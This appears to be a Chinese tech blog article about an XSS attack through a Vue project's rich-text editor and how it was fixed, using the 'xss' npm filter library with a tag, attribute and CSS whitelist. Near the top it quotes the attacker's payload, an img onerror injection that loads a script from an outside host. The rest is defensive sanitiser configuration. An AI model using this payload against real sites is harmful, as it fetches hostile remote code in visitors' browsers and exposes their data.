VUE項目中遇到XSS攻擊舉例分析

本篇內容介紹了“VUE項目中遇到XSS攻擊舉例分析”的有關知識，在實際案例的操作過程中，不少人都會遇到這樣的困境，接下來就讓小編帶領大家學習一下如何處理這些情況吧！希望大家仔細閱讀，能夠學有所成！

前言

隨著互聯網的高速發展，信息安全問題已經成為企業最為關注的焦點之一，而前端又是引發企業安全問題的高危據點。在移動互聯網時代，前端人員除了傳統的 XSS、CSRF 等安全問題之外，又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然，瀏覽器自身也在不斷在進化和發展，不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性，但是仍存在很多潛在的威脅，這需要前端技術人員不斷進行“查漏補缺”。

發現原因

一切的原因都歸咎于富文本編輯器....

應需求將文本域修改成富文本編輯器支持用戶直接粘貼圖片遭到用戶使用網絡圖片上傳方式攻擊

攻擊代碼1" onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS';

在數據回顯時，圖片報錯并執行onerror事件，導致當前頁面被截圖發送至指定郵箱

最開始解決辦法是直接關閉富文本編輯器上傳網絡圖片的方式，但是后續再次遭到此類攻擊，攻擊者使用“fiddler”修改參數達到同樣效果

最終采用第三方防御XSS攻擊插件并通過配置白名單解決，在提交以及拿到后端返回數據時進行過濾

插件中文文檔地址：github.com/leizongmin/…

npm install xss

import filterXSS from "xss"

自定義過濾規則

在調用 xss() 函數進行過濾時，可通過第二個參數來設置自定義規則：

options = {}; // 自定義規則
html = filterXSS('<script>alert("xss");</script>', options);

通過 whiteList 來指定，格式為：{'標簽名': ['屬性1', '屬性2']}。不在白名單上的標簽將被過濾，不在白名單上的屬性也會被過濾。

let options = {
    stripIgnoreTagBody: true, // 不在白名單中的標簽以及標簽里面的內容直接刪除
    whiteList: {
        h2: ["style"],
        h3: ["style"],
        h4: ["style"],
        h5: ["style"],
        h6: ["style"],
        h7: ["style"],
        hr: ["style"],
        span: ["style"],
        strong: ["style"],
        b: ["style"],
        i: ["style"],
        br: [],
        p: ["style"],
        pre: ["style"],
        code: ["style"],
        a: ["style", "target", "href", "title", "rel"],
        img: ["style", "src", "title"],
        div: ["style"],
        table: ["style", "width", "border"],
        tr: ["style"],
        td: ["style", "width", "colspan"],
        th: ["style", "width", "colspan"],
        tbody: ["style"],
        ul: ["style"],
        li: ["style"],
        ol: ["style"],
        dl: ["style"],
        dt: ["style"],
        em: ["style"],
        cite: ["style"],
        section: ["style"],
        header: ["style"],
        footer: ["style"],
        blockquote: ["style"],
        audio: ["autoplay", "controls", "loop", "preload", "src"],
        video: [
          "autoplay",
          "controls",
          "loop",
          "preload",
          "src",
          "height",
          "width",
        ],
     },
     css: {
     // 因為上面白名單中允許了標簽的style屬性，所以需要防止攻擊者使用此途徑進行攻擊
        whiteList: {
          color: true,
          "background-color": true,
          width: true,
          height: true,
          "max-width": true,
          "max-height": true,
          "min-width": true,
          "min-height": true,
          "font-size": true,
        },
    },
}

content = filterXSS(content,options)

“VUE項目中遇到XSS攻擊舉例分析”的內容就介紹到這里了，感謝大家的閱讀。如果想了解更多行業相關的知識可以關注億速云網站，小編將為大家輸出更多高質量的實用文章！